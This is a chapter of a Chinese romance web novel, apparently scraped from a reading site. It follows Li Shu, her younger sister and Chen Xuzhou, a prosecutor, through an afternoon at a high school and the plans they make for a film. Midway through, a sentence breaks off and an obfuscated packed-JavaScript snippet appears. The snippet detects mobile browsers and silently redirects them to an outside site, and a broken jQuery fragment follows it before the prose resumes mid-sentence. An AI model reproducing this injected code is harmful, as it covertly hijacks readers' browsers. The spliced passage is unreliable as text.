17


    这话的潜意思是见过了？


    看他消失在楼梯口，黎姝有丝迷惑。他一直跟她在一起，见过的就只有面前两只女生。总不会等的人是玥玥吧。


    黎姝一头雾水，心底有疑惑便直接问了。


    他回得很快，【算一个。】


    【算一个？】黎姝回忆起两人之前的对话，确实有说不止一个，【那其他的呢？】


    发出去的同时他的另一条简讯也进来，完美凑成一问一答的对话。


    陈叙州：【主要还是等你】


    黎姝看着对话，怔了下神，随即疑惑，【你不是等学妹吗？怎么又成等我了？】


    陈叙州：【你不是？】


    黎姝：【我是吗？】


    回完，黎姝有点茫然，总觉得这对话有些耳熟，感觉好像发生过一次。


    旁边的黎玥因为她要带她们出去吃饭而欢呼着，还不忘提醒她要去找班主任开假条不然出不了校门。


    她回应说知道了，边走边回忆带二人去办公室，不等想起来陈叙州便公布了答案。


    陈叙州：【这个话题前两天我们在车上讨论过】


    【我以为你认同了】


    认同个鬼！谁承认了！


    拜他所赐，黎姝成功想起了那个从头败到尾的糟糕回忆，她没好气回复道：【没这回事，谁同意的你找谁去】


    切出对话框，锁屏，在两姑娘殷切的注视下再起一次敲开了办公室的门。


    王老师见回来还带着两个学生也是惊讶，说进来。


    黎姝带笑过去，回身瞥了眼身后的两小尾巴，表明来意：“您放心吃完饭我就把人送回来。”


    带着学生来请假的家长不止她一个，王老师倒是很轻易地就开了假，就是没忘把黎玥又教育了一番，连同班长也说几句才放行，“晚自习别迟到。”


    黎姝接过假条，再次保证：“绝对不耽误学习。”


    出了办公室，黎玥欢快地拉着苏清欢先是回了趟教室过了会儿才再度回来，手里还捏了张形状不平的纸条，对折放进校服裤里，说：“走吧，姐。”


    黎姝提眉：“你这是打着吃饭的名头去进货啊。”


    黎玥挽上班长的胳膊带她走上来，闻言在身前比了叉，大义凛然地反驳说：“这叫为人民服务。”


    黎姝信她的鬼话才怪，优雅地翻了个白眼，懒得听她瞎扯。


    到晚自习前都没课了校园各处都是学生。夕阳赖晚，橘色的余晖流水般淌着每一处角落，树叶斑驳地投影在路上。校园广播里放着不知道是谁点的《宁夏》，轻快的旋律和梁静茹温柔甜美的嗓音让人不由心情都不由跟着轻快。


    政教楼外的通知栏上，贴着月考新一轮的优秀名单。


    有学生和家长围在那里看，不多，很大一片都露了出来，黎姝眼尖地瞥到了苏清欢的名字和照片。


    和其他人的生活照不同，她的是证件照。头发比看到的更短，几乎贴着耳朵，面无表情眼神清冷。


    很厉害的女孩除了总成绩外，后面足足有五科都是年级第一。


    黎姝下意识侧看了一眼，她那个缺心眼的妹妹拉着人家叽叽喳喳，而她只是点点头，很稳重。


    “照你这个样子我觉得你一定能打破咱们那位学长创下的记录。”


    苏清欢抿唇：“哪有那么容易。”


    “自信点。”黎玥拍拍她，“我相信你一定行。”


    “你还是操心操心自己吧。”黎姝说，“过两天回家，妈要是问起，我看你怎么跟她说你这个火箭般坠机的成绩。”


    黎玥：“这次是意外。”


    黎姝挑眉，和蔼说，“回家跟妈说就行，不用跟我解释。”


    黎玥哼哼，扭过头去又看了两眼优秀栏，忽然惊叫了声不等黎玥横她一眼，她便捂着嘴，望向旁边的班长啊啊啊：“我想起来在哪儿见过那个帅哥了！”


    苏清欢知道她想说什么，点头：“陈叙州学长。”


    黎玥惊了：“你知道啊？”


    苏清欢：“他上台的时候主持人有介绍过他是我们学长，还说了名字。”


    “台上讲话的是他啊。”黎玥又是惊讶。


    不好意思哈，忙着讲小话实在没注意。


    黎姝简直没眼看，摇摇头心说这娃儿没救了。


    谁知一扭头就对上了她的亮眼，“姐，你和陈学长关系很好吗？”


    “不好。”黎姝将假条给保安，听到询问眉心动了动，迈出校门一本正经说瞎话，“认都不认识。”


    “别蒙我了。”黎玥才不信，想到什么自顾自说，“你们是以前竞赛认识的吗？”


    已经是今天第二次听到这个词了，黎姝扭头，“什么竞赛。”


    “高中的数学竞赛啊，你以前不也参加过吗？”


    “他不是参加的物理吗？”黎姝扭头，疑惑，“还有你怎么知道我和他参加的就是同一届？”


    “政教处二楼有一个校友栏，历届的优秀学长学姐都在上面。”苏清欢解释说，“陈学长拿的奖多，有一面都是他。”


    黎姝恍然，哇哦，“那真挺牛逼的。”


    心底还是有些意外。


    没想到他们曾经碰到过了。


    *


    陈叙州回到车上。


    除了杨检和另一位去卫生间的同事，其他同事都在，小杨更是不知道从哪儿买来狼牙土豆，正在外面吃得欢。


    见他回来，还热心问他吃不吃。


    陈叙州说：“谢谢，不用。”他上车拿出手机，看到上面有条两分钟前的消息。


    黎姝发的，一句询问：【你高中也参加过高中竞赛啊？】


    想起来了？


    陈叙州挑眉，回复：【怎么知道的？】


    她回得很快：【你两位亲学妹说的】


    【没想到咱们这么有缘还参加过同个比赛】


    广播里的歌曲悄然播完切换到了下一首，高一某班的女生匿名点给已经毕业的某位学长的《小幸运》。


    歌声飘荡在校园的每一个角落，也飘在耳边。


    车下休息的几个同事跟小杨吃东西边听着广播的内容感慨回忆青春。橘色的夕阳在他们头顶的树梢上挂着，微风把歌声传得好远。


    陈叙州望着屏幕上的倒影，唇角牵了牵，回复道。


    陈叙州：【确实】


    之后，没再发新内容发来。


    一曲美播完，杨检和另一个同事都回来了，检查完没遗留之后坐车回单位。


    到市检察院时刚好快下班了。


    陈叙州换好衣服从办公室出来，却在楼道里遇到了个熟人。


    叶星盏也看见他了，往另一边走的脚尖收回来抬手嗨了下，拐向他招呼着走近，又看一眼他的装扮，“下班了？”


    陈叙州视线落在她脖子上挂的证件上，省电视台的记者工作证。


    “在电视台了？”


    “所以你不知道啊。”叶星盏顺着他的视线落在胸口的工作证上，咦一声，打趣道，“今天来没看到你，我还说是不是知道我会来作采访，所以故意躲我呢。”


    陈叙州淡淡说：“你想多了。”


    “不是就好，不然我可太尴尬了。”叶星盏轻呼了口气，常年在外的经历，让她语言系统一时完全切不回母语，中英掺杂，“难得碰上。我这边也快结束了，一起吃个晚饭或者喝杯coffee？It’sonme。”


    她举手表


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14726904|156587||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    态：“放心，我对心有所属的男人没有兴趣，是想问你点问题。”


    她描述的是她闺蜜最近遇到的问题。


    “抱歉，今天不行我约了人。”陈叙州蹙眉，思忖了下说，“我给你介绍个同事吧，关于电信诈骗这方面他比我在行。”


    毕竟两家父母关系好，她的事又是正事陈叙州不好一点面子都不给。


    叶星盏没料到这样也会被拒绝了，有些无奈说，“OK啊，你哪个朋友的电话是？”


    她摸出手机打算记一下联系方式。


    “稍等，我给他发个消息。”陈叙州正欲给季衍打个电话，通话还没播出去就见他从楼梯口下来，收了线，示意说，“他来了。”


    叶星盏回首跟着望过去。


    季衍听到铃声刚摸出手机看到来电显示刚要接听对面就挂了。


    “莫名其妙。”抬头见到门口的陈叙州，他纳闷地扯嗓问，“什么情况啊，打到一半挂了。”


    陈叙州没应他，而是个跟叶星盏说：“就是他。”


    “什么就我啊？”季衍嘿，“叶记者也在。”又眯向陈叙州，“不会是想偷偷把我卖了吧。”


    “给你重新介绍其他同事吧。”陈叙州面无表情侧脸和叶星盏说道。


    她抿唇轻笑两声说：“没关系，我跟季检察官认识。”


    季衍听得云里云雾忙追问什么事，陈叙州不堪其扰将事情说了遍，他当即表示，“那必须问我啊，这是我专业领域。”


    陈叙州蹙眉，“确定不需要换人？”


    叶星盏：“你不是说他是专业的吗，那就不用再麻烦了。”


    见此，陈叙州不再说什么，任由她们加好友自己沟通，他则看着时间先走了，到停车场上车发消息。


    【在哪？】


    微信进来时黎姝刚把吃完饭的两个小姑娘送回学校。


    等到两人进了校门往教学楼走去身影都消失了，黎姝才翻出手机看消息。


    看到陈叙州的询问，都懒得打字了，直接说语音，“刚送你两学妹回到学校，你下班了？”


    说完私聊王老师知会了两人已经回去的消息，而后收起手机去拦出租，在车上收到回复。


    陈叙州发了个几部电影供她选择，都是最近在映的。


    临近寒暑假加上这两年经济萧条，电影市场也萎靡片子并不多，还有经典老电影的重映，能挑的并不多。


    黎姝将宣传和内容简介都看了遍，最后挑了部国产动漫电影。


    得益于黎玥的影响，她恰好看过导演的另外两部作品，都还不错。


    选定后她将答案发给陈叙州。


    陈叙州挑了两个时间段，问她：“七点还是八点二十？我建议后一场。吃完晚饭过去正好。”


    也是回的语音。声线低沉，语调斯理，带着连他自己都没察觉的松散。


    黎姝不由多听了一遍，心说这么好的声音去当配音老师绝对能俘获一群粉丝。而后才抓住他话里的重点。


    “那就后一场吧。不过晚餐的话忘了跟你说我吃过了。你自己决定就行。”略带歉意说道，“我单纯陪你了哈。”


    “什么意思？”他嗯了声，话音里带了点质问的意味，“这是要鸽我？”


    慢条斯理的黎姝差点溺死在他不似平常的，带了点狠意的、威胁的缱绻声音里。她揉揉耳朵，垂眸，抿唇好奇问：“有没有人说过你的声音很特别啊？”


    她松开语音键，沉吟思索了须臾，找到合适的描述，拇指再度摁上语音键悠悠说道:“像病娇。”


    怕他不明白这种小说人设，还贴心地补了解释，“犯罪电影看过吧，就里面最人模狗样的那种。”


    “看着乖，实则疯。”